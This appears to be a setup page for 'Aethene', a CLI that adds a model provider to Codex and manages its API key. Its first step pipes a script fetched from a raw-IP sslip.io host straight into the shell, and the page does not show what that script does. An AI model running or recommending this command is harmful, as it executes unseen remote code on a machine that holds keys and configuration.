Aethene

Codex CLI setup

Codex CLI, any model.

One command adds an Aethene provider to Codex. Your key stays in your keychain — Codex asks the CLI for it.

Steps

Step 1
$ curl -fsSL https://3-229-227-242.sslip.io/install.sh | sh
Install the CLI.
Step 2
$ aethene login
Sign in.
Step 3
$ aethene install codex
Backs up ~/.codex/config.toml and adds the provider (Responses API).
Step 4
$ codex
Run Codex as usual.

What happens

No key in the config file

Codex runs `aethene token` to fetch your key, so it never sits in config.toml.

Choose the model

aethene install codex --model aethene/gpt-6-astra makes Astra the Codex default; aethene/gpt-6-sol is the default otherwise.

Clean undo

aethene uninstall codex restores your original config.

As of 2026-09-25: a typical Claude Code turn costs $0.068 on aethene/claude-opus and $0.0020 on aethene/gpt-6-luna.
